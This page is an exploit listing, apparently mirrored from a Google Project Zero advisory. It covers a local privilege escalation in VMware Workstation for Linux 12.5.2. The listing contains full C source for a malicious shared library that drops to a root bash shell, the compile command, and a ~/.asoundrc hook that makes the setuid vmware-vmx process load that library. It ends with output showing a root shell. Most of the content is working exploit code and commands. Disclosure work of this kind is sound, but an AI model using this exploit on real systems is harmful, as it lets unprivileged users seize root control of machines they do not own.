首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
VMware Workstation for Linux 12.5.2 build-4638234 - ALSA Config Host Root Privil
来源:Google Security Research 作者:Google 发布时间:2017-05-23  
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1142
 
This vulnerability permits an unprivileged user on a Linux machine on
which VMWare Workstation is installed to gain root privileges.
 
The issue is that, for VMs with audio, the privileged VM host
process loads libasound, which parses ALSA configuration files,
including one at ~/.asoundrc. libasound is not designed to run in a
setuid context and deliberately permits loading arbitrary shared
libraries via dlopen().
 
To reproduce, run the following commands on a normal Ubuntu desktop
machine with VMWare Workstation installed:
 
 
~$ cd /tmp
/tmp$ cat > evil_vmware_lib.c
*/
 
#define _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/prctl.h>
#include <err.h>
 
extern char *program_invocation_short_name;
 
__attribute__((constructor)) void run(void) {
    if (strcmp(program_invocation_short_name, "vmware-vmx"))
        return;
 
    uid_t ruid, euid, suid;
    if (getresuid(&ruid, &euid, &suid))
        err(1, "getresuid");
    printf("current UIDs: %d %d %d\n", ruid, euid, suid);
    if (ruid == 0 || euid == 0 || suid == 0) {
        if (setresuid(0, 0, 0) || setresgid(0, 0, 0))
            err(1, "setresxid");
        printf("switched to root UID and GID");
        system("/bin/bash");
        _exit(0);
    }
}
 
/*
/tmp$ gcc -shared -o evil_vmware_lib.so evil_vmware_lib.c -fPIC -Wall -ldl -std=gnu99
/tmp$ cat > ~/.asoundrc
hook_func.pulse_load_if_running {
        lib "/tmp/evil_vmware_lib.so"
        func "conf_pulse_hook_load_if_running"
}
/tmp$ vmware
 
 
Next, in the VMWare Workstation UI, open a VM with a virtual sound
card and start it. Now, in the terminal, a root shell will appear:
 
 
/tmp$ vmware
current UIDs: 1000 1000 0
bash: cannot set terminal process group (13205): Inappropriate ioctl for device
bash: no job control in this shell
~/vmware/Debian 8.x 64-bit# id
uid=0(root) gid=0(root) groups=0(root),[...]
~/vmware/Debian 8.x 64-bit#
 
 
I believe that the ideal way to fix this would be to run all code that
doesn't require elevated privileges - like the code for sound card
emulation - in an unprivileged process. However, for now, moving only
the audio output handling into an unprivileged process might also do
the job; I haven't yet checked whether there are more libraries VMWare
Workstation loads that permit loading arbitrary libraries into the
vmware-vmx process.
 
Tested with version: 12.5.2 build-4638234, running on Ubuntu 14.04.
*/
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Pegasus 4.72 Build 572 Remote
·Linux Kernel 4.11 - eBPF Verif
·Mantis Bug Tracker 1.3.10/2.3.
·MediaWiki SyntaxHighlight Exte
·Secure Auditor 3.0 - Directory
·Sync Breeze Enterprise GET Buf
·Sure Thing Disc Labeler 6.2.13
·VX Search Enterprise GET Buffe
·Microsoft Windows Windows 7/20
·KDE 4/5 - 'KAuth' Privilege Es
·Microsoft Windows Windows 8/20
·NetGain EM 7.2.647 build 941 -
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved